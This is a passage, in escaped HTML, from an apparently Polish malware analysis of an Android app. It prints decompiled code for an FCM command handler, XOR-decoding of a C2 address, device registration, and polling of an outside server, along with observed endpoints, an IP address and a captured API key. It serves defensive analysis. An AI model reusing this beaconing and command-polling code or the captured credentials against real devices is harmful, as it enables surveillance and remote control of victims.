        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImagesContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;loading&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;
        &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;xh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;wh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;nh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;mhVar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;mh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bArr5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Dodatkowe funkcje pomocnicze&lt;/h4&gt;
&lt;p&gt;Ostatni etap zawiera także następujące funkcje:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;upload_apps&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request_permissions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;start_polling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stop_polling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;start_heartbeat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stop_heartbeat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show_settings&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wake_with_activity&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show_notification&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configure_logging&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Poszczególne komendy są widoczne także w switchu odpowiadającym za obsługę komunikatów FCM (Firebase Cloud Messaging):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;upload_apps&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;request_permissions&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;start_polling&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;start_heartbeat&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;show_settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;configure_logging&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Rejestracja urządzenia podczas wykonania programu&lt;/h2&gt;
&lt;p&gt;Analiza dynamiczna potwierdza wnioski ze statycznej:&lt;/p&gt;
&lt;p&gt;Zaobserwowany ruch do serwera:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://jeliornic.it.com/api/v1/tracking/events&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://jeliornic.it.com/api/v1/devices/register&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://jeliornic.it.com/api/v1/devices/device_bf43438cc5236391/events/batch&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zaobserwowane wartości rejestracji urządzenia:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;device_id = device_bf43438cc5236391&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api_key = ak_c5JNf4OUUSGytz0DpmR9fGbxtjtSR0BCoDtrPj7CS8Y&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;adres IP backendu zaobserwowany w trakcie sesji: &lt;code&gt;104.21.59.199&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zaobserwowane nagłówki uwierzytelniające:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X-API-Key: ak_c5JNf4OUUSGytz0DpmR9fGbxtjtSR0BCoDtrPj7CS8Y&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Device-ID: device_bf43438cc5236391&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bazowy (statyczny) URL serwera jest zagnieżdżony bezpośrednio w ostatnim etapie kodu. Moduł odczytuje stałą z adresem przy pomocy dekodera opartego na XOR i klucza &lt;code&gt;zext0sup3bei25jm&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ya&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;zext0sup3bei25jm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;EhEMBENJWl9ZBwkAXUcEBBlLEQAeEBod&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Zdekodowana wartość:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://jeliornic.it.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Proces rejestracji urządzenia jest wskazany wprost w źródłach:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Settings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Secure&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l9Var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getContentResolver&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;android_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strConcat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;device_&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Task&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FirebaseMessaging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;device_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fcm_token&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;build_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;device_info&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mapB&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;optimization_stats&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mapC&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;jSONObjectH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;l9Var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/api/v1/devices/register&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po rejestracji dane dostępowe do serwera są przechowywane lokalnie:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sharedPreferences&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;putString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;device_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObjectH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;device_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;sharedPreferences&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;putString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;api_key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObjectH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;api_key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;sharedPreferences&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;putLong&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;polling_interval_ms&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObjectH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optLong&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;polling_interval_ms&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300000L&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Do uwierzytelniania w komunikacji HTTP wykorzystano zarówno nagłówek &lt;code&gt;X-API-Key&lt;/code&gt; jak i &lt;code&gt;X-Device-ID&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;httpURLConnection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HttpURLConnection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;openConnection&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;application/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Accept&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;application/json&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-API-Key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;httpURLConnection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Device-ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strG&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ten sam klient HTTP jest używany do odpytywania o polecenia, heartbeatów i wsadowego wysyłania zdarzeń:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObjectH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;l9Var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/api/v1/devices/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strG&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/commands?status=pending&amp;amp;limit=10&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;l9Var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/api/v1/devices/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strG&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/heartbeat&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l9Var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/api/v1/devices/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strG&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/events/batch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObject3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
